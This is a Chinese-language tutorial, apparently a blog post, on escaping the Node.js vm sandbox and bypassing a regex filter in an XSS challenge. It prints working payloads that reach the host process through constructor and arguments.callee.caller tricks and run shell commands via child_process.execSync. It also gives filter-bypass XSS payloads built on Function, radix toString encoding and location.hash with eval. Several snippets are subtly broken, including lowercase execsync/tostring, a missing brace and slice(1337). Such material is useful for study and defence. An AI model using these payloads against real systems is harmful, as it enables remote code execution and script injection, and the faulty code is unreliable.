沙箱逃逸结合正则绕过

沙箱逃逸:

使用vm环境的nodejs代码

const vm = require('vm');
const script = `m + n`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

使用外部传入的对象s来引入当前上下文里没有的模块,进而绕过这个隔离环境,比如this

this.toString.constructor('return process')()
const process = this.toString.constructor('return process')() process.mainModule.require('child_process').execSync('whoami').toString()

第一行:this.toString获取到一个函数对象,this.toString.constructor获取到函数对象的构造器,构造器中可以传入字符串类型的代码。然后在执行,即可获得process对象

第二行:利用前面获取的process对象执行任何命令

进行沙箱逃逸,我们可以使用this获取到函数对象的构造器,进而获取到process对象。
或者我们利用引用类型,例如{}

沙箱绕过的核心原理:只要能在沙箱内部找到一个沙箱外部的对象,借助这个对象内的属性即可获得沙箱外的函数,进而绕过沙箱

下面的代码使用Object.create(null),这个this的指向null,所以我们不能够用this的构造对象进而来获取方法

const vm=require('vm');
const script=`..`;
const sanbox=Object.create(null);
const context=new vm.createContext(sanbox);
const res=vm.runInContext(script,context);
console.log(res);

所以,需要通过argument.callee.caller来获取到process对象,从而达到执行命令的操作。
 

const script=`(()=>
const a={}
a.tostring=function(){
    const cc=arguments.callee.caller
    const p =(cc.constructor('return process'))()
    return p.mainModule.require('child_process').execsync('whoami').tostring()
}
return a
})()`;

这里argument.callee是返回的函数本身。
argument.callee.caller,这里谁调用了它,它就返回谁

最后需要

console.log('hello'+res)来达到触发tostring,在js中,某一个东西和字符串拼接最后也会变成字符串
和字符串连接,就会调用它的**tostring()**方法,从而达到触发上述所写的代码

正则绕过

mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert|prompt|confirm/g, '_')
eval(mafia)

需要弹窗1337。首先分析一下这个正则表达式,这里过滤了`, ', ",+,-,!,,[,]并且过滤了弹窗函数alert
弹窗最常用的三个函数,为alert、prompt、confirm,三个函数都能实现弹窗

方法一:

prompt(1337);
confirm(1337);

每个 JavaScript 函数实际上都是一个 Function 对象。Function 构造函数创建一个新的 Function 对象。直接调用此构造函数可用动态创建函数,但会遇到和 eval 类似的的安全问题和性能问题。然而与 eval 不同的是,Function 创建的函数只能在全局作用域中运行

payload2: Function(/ALERT(1337)/.source.toLowerCase())()


使用eval函数绕过限制,要被解析的值。如果参数不是一个字符串,则将其转换为字符串(使用Tostring抽象操作),字符串开头的空白符将会被忽略

parseInt('alert', 30)
a 1
t 20   -----> 30  0,1,2,3,4,5,6,7,8,9 A B C D E F

要将一个数字转换为特定的radix中的字符串字段,使用thatNumber.toString(radix)用函数

利用location中的hash来绕过关键字location.hash是取url中#后面的部分。

8680439..toString(30) === alert
payload3:eval(8680439..toString(30))(1337)
var url = document.createElement('a');
url.href = 'https://developer.mozilla.org/en-US/search?q=URL#search-results-close-container';
console.log(url.href);      // https://developer.mozilla.org/en-US/search?q=URL#search-results-close-container
console.log(url.protocol);  // https:
console.log(url.host);      // developer.mozilla.org
console.log(url.hostname);  // developer.mozilla.org
console.log(url.port);      // (blank - https assumes port 443)
console.log(url.pathname);  // /en-US/search
console.log(url.search);    // ?q=URL
console.log(url.hash);      // #search-results-close-container
console.log(url.origin);    // https://developer.mozilla.org

location.hash是取url中#后面的部分

eval(location.hash.slice(1337))#alert(1337)

这样就成功绕过

你可能感兴趣的:(javascript,前端,vue.js)